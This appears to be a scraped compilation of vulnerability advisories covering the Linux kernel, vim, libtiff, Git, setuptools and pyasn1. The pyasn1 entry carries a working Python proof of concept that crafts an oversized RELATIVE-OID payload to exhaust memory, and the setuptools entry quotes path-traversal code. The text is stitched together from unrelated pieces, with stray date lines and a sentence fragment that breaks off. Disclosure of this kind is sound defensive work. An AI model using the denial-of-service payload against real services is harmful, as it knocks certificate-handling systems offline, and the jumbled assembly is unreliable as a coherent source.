NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key.

Last updated 18 August 2026

A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.

In the Linux kernel, the following vulnerability has been resolved:

net: lan743x: Modify the EEPROM and OTP size for PCI1xxxx devices

Maximum OTP and EEPROM size for hearthstone PCI1xxxx devices are 8 Kb and 64 Kb respectively. Adjust max size definitions and return correct EEPROM length based on device. Also prevent out-of-bound read/write.

drm/msm: Fix another leak in the submit error path

fbdev: Fix doregisterframebuffer to prevent null-ptr-deref in fbvideomodetovar

Last updated 24 July 2024

Heap based buffer overflow in vim/vim 9.0.0946 and below by allowing an attacker to CTRL-W gf in the expression used in the RHS of the substitute command.

Last updated 24 July 2024

CVE-2025-48384 is regarding a vulnerability in Git where when reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. GitHub created this CVE on their behalf. The documented Visual Studio updates incorporate updates in Git which address this vulnerability. Please see CVE-2025-48384 for more information.

Accessibility. A logic issue was addressed with improved checks.

Last updated 31 October 2024

Last updated 24 February 2025

Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1

Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents

if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download

--> filename = os.path.join(tmpdir, name)

Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88

os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.

Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.

Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.

References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946

In the Linux kernel, the following vulnerability has been resolved:

tls: fix handling of zero-length records on the rxlist

Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record

If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rxlist. Next recvmsg() will pick it up from there.

Queuing the skb to rxlist after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length).

Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rxlist, and it's zero length.

In the Linux kernel, the following vulnerability has been resolved:

net: usb: asixdevices: Fix PHY address mask in MDIO bus initialization

Syzbot reported shift-out-of-bounds exception on MDIO bus initialization.

The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations.

Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1848.

Incorrect Calculation of Buffer Size in GitHub repository vim/vim prior to 9.0.1378.

An issue was discovered in l2capsockrelease in net/bluetooth/l2capsock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled.

A slab-out-of-bound read problem was found in brcmfgetassocies in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c in the Linux Kernel. This issue could occur when associnfo->reqlen data is bigger than the size of the buffer, defined as WLEXTRABUFMAX, leading to a denial of service.

An issue was discovered in flsetgeneveopt in net/sched/clsflower.c in the Linux kernel before 6.3.7. It allows an out-of-bounds write in the flower classifier code via TCAFLOWERKEYENCOPTSGENEVE packets. This may result in denial of service or privilege escalation.

In the Linux kernel, the following vulnerability has been resolved:

tls: separate no-async decryption request handling from async

If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result.

We should preferably also use a separate cryptowait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 ("tls: fix race between async notify and socket close") took care of it.

This will make the next fix easier.

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1873.

Last updated 24 July 2024

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource

Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")

Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])

print(f"[] Testing with {payloadsizemb}MB payload...")

payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)

DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')

Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload

print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")

try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())

print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')

except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')

print("\n[] Test completed")

Screenshots with the results:

DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />

<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

Leak analysis

A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin

[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.

[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%

Scenario

1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

In the Linux kernel, the following vulnerability has been resolved:

KVM: x86: Acquire SRCU in KVMGETMPSTATE to protect guest memory accesses

Acquire a lock on kvm->srcu when userspace is getting MP state to handle a rather extreme edge case where "accepting" APIC events, i.e. processing pending INIT or SIPI, can trigger accesses to guest memory. If the vCPU is in L2 with INIT and a TRIPLEFAULT request pending, then getting MP state will trigger a nested VM-Exit by way of ->checknestedevents(), and emuating the nested VM-Exit can access guest memory.

The splat was originally hit by syzkaller on a Google-internal kernel, and reproduced on an upstream kernel by hacking the triplefaulteventtest selftest to stuff a pending INIT, store an MSR on VM-Exit (to generate a memory access on VMX), and do vcpumpstateget() to trigger the scenario.

============================= WARNING: suspicious RCU usage 6.14.0-rc3-b112d356288b-vmx/pilockdepfalsepos-lock #3 Not tainted ----------------------------- include/linux/kvmhost.h:1058 suspicious rcudereferencecheck() usage!

other info that might help us debug this:

rcuscheduleractive = 2, debuglocks = 1 1 lock held by triplefaultev/1256: #0: ffff88810df5a330 (&vcpu->mutex){+.+.}-{4:4}, at: kvmvcpuioctl+0x8b/0x9a0 [kvm]

stack backtrace: CPU: 11 UID: 1000 PID: 1256 Comm: triplefaultev Not tainted 6.14.0-rc3-b112d356288b-vmx #3 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 Call Trace: <TASK> dumpstacklvl+0x7f/0x90 lockdeprcususpicious+0x144/0x190 kvmvcpugfntomemslot+0x156/0x180 [kvm] kvmvcpureadguest+0x3e/0x90 [kvm] readandcheckmsrentry+0x2e/0x180 [kvmintel] nestedvmxvmexit+0x550/0xde0 [kvmintel] kvmchecknestedevents+0x1b/0x30 [kvm] kvmapicacceptevents+0x33/0x100 [kvm] kvmarchvcpuioctlgetmpstate+0x30/0x1d0 [kvm] kvmvcpuioctl+0x33e/0x9a0 [kvm] x64sysioctl+0x8b/0xb0 dosyscall64+0x6c/0x170 entrySYSCALL64afterhwframe+0x4b/0x53 </TASK>

1. A cookie is set using the secure keyword for

In the Linux kernel, the following vulnerability has been resolved:

espintcp: remove encap socket caching to avoid reference leak

The current scheme for caching the encap socket can lead to reference leaks when we try to delete the netns.

The reference chain is: xfrmstate -> enacpsk -> netns

Since the encap socket is a userspace socket, it holds a reference on the netns. If we delete the espintcp state (through flush or individual delete) before removing the netns, the reference on the socket is dropped and the netns is correctly deleted. Otherwise, the netns may not be reachable anymore (if all processes within the ns have terminated), so we cannot delete the xfrm state to drop its reference on the socket.

This patch results in a small (~2% in my tests) performance regression.

A GC-type mechanism could be added for the socket cache, to clear references if the state hasn't been used "recently", but it's a lot more complex than just not caching the socket.

In the Linux kernel, the following vulnerability has been resolved:

xen-netfront: handle NULL returned by xdpconvertbufftoframe()

The function xdpconvertbufftoframe() may return NULL if it fails to correctly convert the XDP buffer into an XDP frame due to memory constraints, internal errors, or invalid data. Failing to check for NULL may lead to a NULL pointer dereference if the result is used later in processing, potentially causing crashes, data corruption, or undefined behavior.

On XDP redirect failure, the associated page must be released explicitly if it was previously retained via getpage(). Failing to do so may result in a memory leak, as the pages reference count is not decremented.

A flaw in the Linux Kernel found. A use-after-free vulnerability in the Linux kernel's net/sched: clsu32 component can be exploited to achieve local privilege escalation. If tcfchangeindev() fails, u32setparms() will immediately return an error after incrementing or decrementing the reference counter in tcfbindfilter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability.

Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=04c55383fa5689357bcdd2c8036725a55ed632bc